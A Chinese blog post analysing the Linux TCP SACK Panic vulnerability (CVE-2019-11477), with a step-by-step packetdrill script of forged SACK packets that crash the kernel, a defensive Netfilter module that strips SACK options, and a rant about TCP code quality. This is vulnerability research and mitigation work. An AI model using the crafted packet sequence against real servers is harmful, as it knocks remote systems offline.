Sack Panic漏洞解析(二)

转自 https://blog.csdn.net/dog250/article/details/93397367

最近几天一直在和CVE-2019-11477 SACK panic漏洞进行纠缠,挺有意思的。

细节就不多说了,给出几个链接自己看吧: access.redhat.com/secur github.com/Netflix/secu 我自己也第一时间写了一篇。网上已经有很多文章描述这个漏洞的概览,危害以及如何补救,但是若要理解该漏洞的原理以及触发条件,还是要看我写的这篇: CVE-2019-11477漏洞详解详玩:【已删改】 blog.csdn.net/dog250/ar

至于说补救的方法,那太多了,一会儿我会给出一个自己的,然后,我得喷一通,这是惯例。

现在先来熟悉一下该漏洞原理以及一个EXP流程的说明。


CVE-2019-11477漏洞详解详玩 中已经描述过的原理,本文便不再赘述,本文是一个关于 如何做以及为什么会这样 总结,虽是总结,却也不简单。


先从数据的发送方式说起。

若想利用这个漏洞,攻击普通的网络服务器不一定可行,若要攻击成功或者说有成功的非0概率,服务器发送数据的方式必须满足一定的要求,即 以分散/聚集IO方式发送非线性数据同时开启GSO 才可以。

因为只有这样,被SACK的数据段才有可能会合并成一个大段,然后在总长和mss做除法求gso_segs时发生溢出。

可以看到,分散/聚集IO是关于用户进程和内核之间的IO接口,而GSO则是内核和网卡之间的IO接口,有了这两者,即可以大大减轻内核本身的负担。而内核本身,即可以将更多的时间片花在如何高效组织和利用数据上了。

比如,将覆盖多个skb的sack段合并成一个skb。

Linux内核设计如此颇值得深思。我们知道,之所以会在收到SACK段后会尝试合并skb,即将跨越多个skb的SACK段合并成一个,并不是多此一举,而是为了性能考虑。

在Linux 4.15内核之前,TCP的 已发送未确认队列 是以链表组织的,如今的网络在硬件方面,其介质质量越来越好,网络带宽越来越大,接收端主机的内存越来越大,对应的软件方面,TCP的发送窗口便随之增加,DBP持续增长,这意味着TCP的 已发送未确认队列 越来越长,而 长链表 在增删查方面是低效的,所以便有三种趋势的优化方向: 1. 尝试将链表变短,即合并操作; 2. 改变数据结构,比如用树代替链表; 3. 改变数据结构的同时,尝试元素合并。

然而理论上如此在具体操作上并非如此简单,并非所有的TCP 已发送未确认队列 的被SACK的连续skb都是可以合并的。也就是说,合并操作这件事是在满足一定条件下才会发生的。

我们先看下普通的数据发送方式:


可见,skb本身就是数据的容器。

这种数据发送方式下,就不能合并skb,因为合并操作涉及大量的内存拷贝,这种性能损耗会抵消掉合并skb带来的好处,更何况,有合并就有分割,这又会有额外的内存损耗。

如果服务器以这种方式发送数据,那么注定攻击不会成功。

但是对于攻击者而言,幸运的是,如今的高性能服务器都不是用这种普通的方式吐数据的,而几乎都是采用了更加 高效 的方式,即分散/聚集IO的Zerocopy方式,不管是writev调用还是sendfile等等,我们看一下:


这种方式,skb不再是数据的容器,而仅仅是一个 把手(handle)

对于攻击者而言,攻击这种高性能高并发的服务器,影响才够大,效果才够好。而恰恰这种服务器才是可能被攻击的,才是最容易被攻击的。

我们回过头来看看漏洞利用的前提条件: 1. 以分散/聚集IO方式每次发送32Kb的非线性skb数据并且开始GSO。 近一周查资料,请教朋友同事,目前的WEB服务器,各种代理服务器几乎都是满足的。 2. 拥塞窗口快速增加到 已发送未确认队列 容纳$17\times 32768$字节的大小。 目前的高性能服务器带宽很大,很容易快速增窗,在积累攻击数据的时候,为了防止丢包造成减窗,伪造重复积累ACK即可。

在满足上面两个大前提的条件下,我给出一个EXP的packetdrill脚本模拟,以一个实际的方式来展示如何利用该漏洞,而不是长篇大论:

0   socket(..., SOCK_STREAM, IPPROTO_TCP) = 3
+0  setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0

+0  bind(3, ..., ...) = 0
+0  listen(3, 1) = 0

+0  < S 0:0(0) win 32792 <mss 48,sackOK, TS val 100 ecr 0,nop,wscale 7>
+0  > S. 0:0(0) ack 1 <...>

+0 < . 1:1(0) ack 1 win 257
+0  accept(3, ..., ...) = 4

+0  write(4, ..., 400) = 400
// ...
// 上述增窗过程,多伪造些dsack包,促使被攻击侧的reordering不断增加,使其不轻易进入快速重传

+0 < . 1:11(10) ack 1 win 257 <sack 37:73 109:145,nop,nop>
+0 < . 21:31(10) ack 1 win 257 <sack 37:73 109:145,nop,nop>
+0 < . 41:51(10) ack 1 win 257 <sack 37:73 109:145,nop,nop>
+0 < . 61:71(10) ack 1 win 257 <sack 37:73 109:145,nop,nop>

+0.0 < . 41:51(10) ack 1 win 257 <sack 109:145,nop,nop>
// 上述的伪造包实现了两件事:
// 1. “让被攻击侧的raw data mss=8”这件事,即发送3个sack段,迫使被攻击侧发包时携带3段sack段。
// 2. 37:73这个段的sack为了促使被攻击侧在超时时认定sack reneging,将所有包标记LOST,为重传tcp_fragment中分割做除法求gso_segs而溢出作准备。

+0.0 < . 41:51(10) ack 1 win 257 <sack 37:73 109:217,nop,nop>
+0.0 < . 61:71(10) ack 1 win 257 <sack 37:73 109:217,nop,nop>
+0.0 < . 61:71(10) ack 1 win 257 <sack 37:73 109:253,nop,nop>
+0.0 < . 61:71(10) ack 1 win 257 <sack 37:73 109:289,nop,nop>
+0.0 < . 61:71(10) ack 1 win 257 <sack 37:73 109:325,nop,nop>
// ... 每个伪造sack往后推进一些,大小随意,不要过度超过109+17*32768即可,因为超过没有意义,skb携带的frags最多也就17个。
+0.0 < . 61:71(10) ack 1 win 257 <sack 37:73 109:109+17*32768,nop,nop>
// 以上伪造的包会促使被攻击侧合并sack段,将109:109+17*32768合并成一个大段,这里面承载了17*32*1024字节的数据

+0.0 < . 61:71(10) ack 37 win 257 <sack 109:109+17*32768,nop,nop>
// 以上报文会让被攻击侧认定SACK reneging,因为它将una推进到了一个曾经sack的位置,却没有覆盖它!

// ----
// 等待超时,此时被攻击侧会将所有的未确认包全部标记为LOST,由于认定SACK reneging,所以包括已经被SACKed的包
// ----

// ----
// 超时重传,cwnd降为1,由于需要sack攻击侧的3个sack段,raw data mss空间降为8,重传37:45。
// ----

+0.2 < . 61:71(10) ack 61 win 257 <sack 37:73 353:109+17*32768,nop,nop>
// 上述伪造包是攻击侧收到重传的37:45之后发出的,采取下列措施之一
// 1. 伪造一些攻击sack序列(即109:109+17*32768)之后的sack段。
// 2. 将una向前推进到45或者更高但不超过109。
// 用以清空inflight,提高cwnd,以促使被攻击侧重传合并后的109:109+17*32768中的前8字节109:117,目的乃是在tcp_fragment中做除法,溢出!

// ----
// 被攻击侧重传合并后的109:109+17*32768中的前8字节109:117,迫使余下的117:109+17*32768与mss做除法时溢出!
// ----

// ----
// 攻击侧什么都不做,等待超时,此举迫使被攻击侧清除已经重传的包的RETRANSMIT标记,由于攻击侧没有收到任何伪造的sack包,所以send queue将全部LOST。
// ----

+0.4 < . 61:71(10) ack 61 win 257 <sack 37:73 109:117,nop,nop>
+0.4 < . 61:71(10) ack 61 win 257 <sack 37:73 109:109+17*32768-8,nop,nop>
// 攻击侧收到被攻击侧的超时重传包时,伪造上述sack报文,这将促使一次新的合并,即117:109+17*32768-8并入109:117(它们本来就合并在一起,由于重传时tcp_fragment被split)
// 此时的合并将会造成Panic,注意并入109:117的sack并非一直到末尾109+17*32768,而是少了8个字节,这是为了凑减法,用除法求pcount:
// len = end_seq - TCP_SKB_CB(skb)->seq;
// pcount = len/mss 按照我们的假设,它相当于(17*32768-8-8)/8
// 若要按照上述算法计算tcp_shifted_skb的参数pcount,必须下列条件不为真:
// in_sack = !after(start_seq, TCP_SKB_CB(skb)->seq) && !before(end_seq, TCP_SKB_CB(skb)->end_seq);
// 否则,pount将会直接取117:109+17*32768满skb的gso_segs。
// 所以必须再次分割!

// 紧接着被攻击侧在尝试合并tcp_fragment分割的两个小段时,会进入tcp_shifted_skb函数:
// tcp_shifted_skb的pcount参数为(17*32768-8-8)/8,unsigned int型,它是真实的值,而其skb参数的gso_segs则为溢出回绕的小值,故而在tcp_shifted_skb中命中BUG_ON!
// ----

// 这里,被攻击侧系统已经崩溃!
// 总结,造成系统Panic的根源在于:
// 1. 第一次合并后重传包时,tcp_fragment将合并包分成两个,一个8字节小包,一个剩余大小的大包,计算大包的gso_segs时,字段溢出;
// 2. 根据伪造序列进行第二次合并时,tcp_shift_skb_data会尝试将第1步被tcp_fragment拆分后的包再次合并(注意参与合并的大包末尾少8字节),在tcp_shifted_skb中Panic!


// 再也到不了这里了,因此我注释掉它。
// +xx < . 1:1(0) ack 109+17*32768+x win 257

全程值得注意的一点就是,攻击者时时刻刻都要beat cwnd!必须控制好被攻击侧的cwnd,而这并不容易,因为被攻击侧的cwnd是通过各种因素通过自己的拥塞控制算法自行计算出来的,所以攻击者依然要使用一些诱导措施,去影响被攻击侧的cwnd计算。做到: - 不能太小,小到没有机会重传以及合并的skb,从而没有机会在tcp_fragment中做除法。 - 不能太大,大到重传时连续调用tcp_fragment,将剩余skb的总长度减到了溢出阈值以下。

哈哈,这本身就是一件很好玩的事情。

理解CVE-2019-11477这个漏洞如何被利用其实并不简单,虽然流程上并没有什么复杂之处,但是在Linux内核的TCP实现上,非常多的trick,代码非常凌乱,if语句非常多,超级多的垃圾细节,我自己连修改内核,上systap,改tcpprobe,绕过这个绕过那个,几乎熬了两个通宵才完成,最后发现没啥动机利用这个漏洞干点什么事,反而又撸了一遍TCP的源码,我记得曾经承若不再玩TCP了,有点恶心了,看来没能兑现。

一句话概括,你要对TCP在Linux内核的实现非常熟悉,熟悉程度要细化到每一个if语句。


其实有更简单的方法证明这个漏洞确实存在,只是证明,该证明无法用于漏洞利用。

也就是说缩小数据类型宽度,强制一个POC(proof of concept)...很简单,把gso_segs从unsigned short改为unsigned char即可,这样我们无需什么非常大的窗口就能模拟出BUG_ON的条件。

关于修复,Netfilx官方给出的以下patch: github.com/Netflix/secu 足以解决问题。同时,如果不想给kernel打patch的话,各种规避方案也是有很多。当然关闭sack这种就不建议了,性能损耗太大了。

review了很多规避方案,以下的方案甚为精妙: - 当TCP建连协商时,如果mss小于某个足够危险的值,就用iptables -j TCPOPTSTRIP --strip-options sack把sackOK给清理掉。

但是这个方案无法封堵ICMP Need Frag报文中途改变mss的情况,于是就需要再写一条规则来DROP掉携带小于足够危险的mtu的ICMP Need Frag报文,这就增加了事情的复杂性,过度依赖外部的iptables配置了。

何不写一个Netfilter模块搞定一切呢?其实就是把上面两条iptables的内核相关模块实现抄写到一个独立的Netfilter模块中而已。

但是我并不准备在这个Netfilter模块中阻滞小mss协商包的sackOK选项以及阻滞小mtu的ICMP通告,而是换了一种思路,即实时监控TCP连接的mss值以及到达的sack段,一旦mss小于某个足够危险的值,便清除掉到达包的sack段,以阻止潜在的sack序列攻击。

随手撸的代码如下,当然,大部分也是抄的:

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>
#include <net/tcp.h>

static inline unsigned int optlength(const u_int8_t *opt, unsigned int offset)
{
    if (opt[offset] <= TCPOPT_NOP || opt[offset+1] == 0)
        return 1;
    else
        return opt[offset+1];
}

unsigned int dropsack_hook(const struct nf_hook_ops *ops, struct sk_buff *skb,
                             const struct net_device *in, const struct net_device *out,
                             const struct nf_hook_state *state)
{
    struct iphdr *iph;
    struct tcphdr *th = NULL, _tcph;
    __be32 saddr, daddr;
    __be16 sport, dport;
    u_int8_t o, n, curr_tg, *opt;
    u8 _opt[15 * 4 - sizeof(_tcph)];
    unsigned int i, j, optlen, optl;
    int  tcp_hdrlen;
    struct sock *sk;
    struct tcp_sock *tp;

    if (!skb) {
        goto pass;
    }

    iph = ip_hdr(skb);
    if (!iph) {
        goto pass;
    }

    if(iph->version != 4) {
        goto pass;
    }

    if (iph->protocol != IPPROTO_TCP) {
        goto pass;
    }

    th = skb_header_pointer(skb, ip_hdrlen(skb), sizeof(_tcph), &_tcph);
    if (th == NULL) {
        goto drop;
    }

    if (th->doff*4 < sizeof(*th)) {
        goto drop;
    }

    optlen = th->doff*4 - sizeof(*th);
    if (!optlen) {
        goto pass;
    }

    opt = skb_header_pointer(skb, ip_hdrlen(skb) + sizeof(*th), optlen, _opt);
    if (opt == NULL) {
        goto drop;
    }

    if (!th->syn) {
        goto normal;
    }
    goto syn;

syn:

    for (i = 0; i < optlen; ) {
        if (opt[i] == TCPOPT_MSS
            && (optlen - i) >= TCPOLEN_MSS
            && opt[i+1] == TCPOLEN_MSS) {
            u_int16_t mssval;

            mssval = (opt[i+2] << 8) | opt[i+3];

            if (mssval >= 64) {
                goto pass;
            }
            curr_tg = TCPOPT_SACK_PERM;
            goto clean;
        }
        if (opt[i] < 2)
            i++;
        else
            i += opt[i+1] ? : 1;
    }
    goto pass;

normal:
    // 对于每一个TCP入包,均关联其到一个established socket,然后检测其当前mss。
    saddr = iph->saddr;
    daddr = iph->daddr;
    sport = th->source;
    dport = th->dest;
    sk = inet_lookup_established(dev_net(skb->dev), &tcp_hashinfo,
                                saddr, sport, daddr, dport,
                                in->ifindex);
    if (!sk) {
        goto pass;
    }
    // 该socket是可以early demux的,同时绕过route查找和TCP层的socket查找。
    skb_orphan(skb);
    skb->sk = sk;
    skb->destructor = sock_edemux;

    tp = tcp_sk(sk);
    if (tp->mss_cache > 64) {
        goto pass;
    }
    curr_tg = TCPOPT_SACK;

clean:
    tcp_hdrlen = th->doff * 4 - sizeof(_tcph);
    for (i = 0; i < optlen; i += optl) {
        optl = optlength(opt, i);

        if (i + optl > tcp_hdrlen)
            break;

        if (opt[i] != curr_tg)
            continue;

        for (j = 0; j < optl; ++j) {
            o = opt[i+j];
            n = TCPOPT_NOP;
            if ((i + j) % 2 == 0) {
                o <<= 8;
                n <<= 8;
            }
            inet_proto_csum_replace2(&th->check, skb, htons(o),
                         htons(n), 0);
        }
        memset(opt + i, TCPOPT_NOP, optl);
    }

pass:
    return NF_ACCEPT;

drop:
    return NF_DROP;
}

static struct nf_hook_ops dropsack_ops = {
    .list     = {NULL, NULL},
    .hook     = dropsack_hook,
    .owner    = THIS_MODULE,
    .pf       = AF_INET,
    .hooknum  = NF_INET_PRE_ROUTING,
    .priority = NF_IP_PRI_FIRST,
};

static int __init tcp_dropsack_init(void)
{
    int ret = 0;

    if (nf_register_hook(&dropsack_ops) < 0) {
        printk(KERN_INFO "tcp_dropsack: register netfilter dropsack_ops failed.\n");
        ret = -ENODEV;
    }
    return 0;
}

static void __exit tcp_dropsack_exit(void)
{
    nf_unregister_hook(&dropsack_ops);
}

module_init(tcp_dropsack_init);
module_exit(tcp_dropsack_exit);
MODULE_AUTHOR("marywangran");
MODULE_LICENSE("GPL");

现在到了让我喷一会儿的时间。


不知大家还记不记得OpenSSL的Heartbleed漏洞CVE-2014-0160: en.wikipedia.org/wiki/H

之所以重新提到这个和Linux内核八杆子打不着,和TCP八杆子打不着的漏洞,那是因为在我看来五年前的CVE-2014-0160心血漏洞和CVE-2019-11477 SACK panic漏洞在风格上,亲如兄弟,如出一辙: - 根植于混乱,出世于混沌。实现太太太乱了,代码太恶心了!

你想对代码的每一行,每一个参数细节做合规性检查,简直不可能!不可能!不可能!

是的,心血漏洞后我为此喷过OpenSSL: 令人作呕的OpenSSL: blog.csdn.net/dog250/ar

事后,我也做了反思,视野要开阔,人无完人,孰能无过...

直到前几天,还有朋友问我关于OpenSSL的问题,不过我早就疲倦了,不想作答:


问题不是 为什么还在用 ,而是在于 已经用了 , 而是在于 没有别的可以用!

之前有人怼我怼的好啊, “你给OpenSSL资助一分钱了吗?你给OpenSSL贡献一行代码了吗?没有就别瞎逼逼!”

怼的很有道理,也确实,OpenSSL非常不容易了,不管怎么说,赛里布瑞特吧!


说回TCP。

TCP已经30多年了,早就该死掉了,之所以没有死就是因为 人们已经用了 以及 没有别的可以替代

我厌倦了去陈列为什么TCP该死掉的事实,一方面是因为真正懂的人其实并不多,另一方面,在以此为饭碗的人们面前去陈列这些事实,面对的十有八九不会是客观的讨论而是被怼,所以,为了避免重蹈当时喷OpenSSL的覆辙,罢了。

不过还是要稍微喷一下。

抛开生态而言,纯技术上,TCP真的就是垃圾,就和OpenSSL一样!TCP是垃圾: - 其实现代码中处处都是trick,编程大牛们,泰斗们说,代码最忌讳的就是trick,但TCP的实现里全是。 - 绝大多数的实现,比如Linux/BSD已经完全不可维护,不可升级进化,BBR虽是创举,但我觉得不会再有第二次。

如果谁想针对TCP实现的一个点做优化或者扩展啥的,则牵一发而动全身,解决了一个问题,却引入新的问题,代码已经杂糅耦合成了一团乱麻。你改动的任何代码都保不准是否会在别的地方被误解甚至误用。

但是,每天总是会有新的trick诞生,从而也就滋生了新的BUG,具有讽刺意味的是,代码的作者并不知道什么时候在什么情况下就会飞来一只BUG,不得不靠BUG_ON来捕获它们,然后以宕机为代价,予以修复。

以至于,扫一下Linux内核TCP方面的所有BUG_ON,不出意外,定能扫出新的漏洞,定有收获,要不要试一下呢?

哈哈哈哈哈哈~~


程序员喜欢确定的东西,喜欢可以推导出来的结果,不喜欢被规定或者被绑架的结论,所以程序员往往较真于此,但答案往往都是简单,不得已的规定而已。

恰恰TCP的实现这种很垃圾的东西,浪费了程序员大量的时间和精力。

这里不说TCP,以IP说话。

比如,有人问, “为什么IP报文最长能容纳65535个字节的数据?为什么是2个字节表示长度,2个半字节不行吗?” 如果你回答 “RFC就是这么规定的。” 往往提问者不会满意... 总是觉得用2个字节表示长度是另有蹊跷。

但是,这里必须转折。

大部分人虽不满足于结论,但往往对于过程也是浅尝辄止。你知道 大端机和小端机 的区别,但是为什么会有这两种设计?它们的优缺点分别是什么?你搜一下答案,铺天盖地的都是《格列佛游记》里的那一段。几乎没有人从类型转换,protocol解析效率的角度去看这个问题。


好了,写完了。

发布于 2019-07-02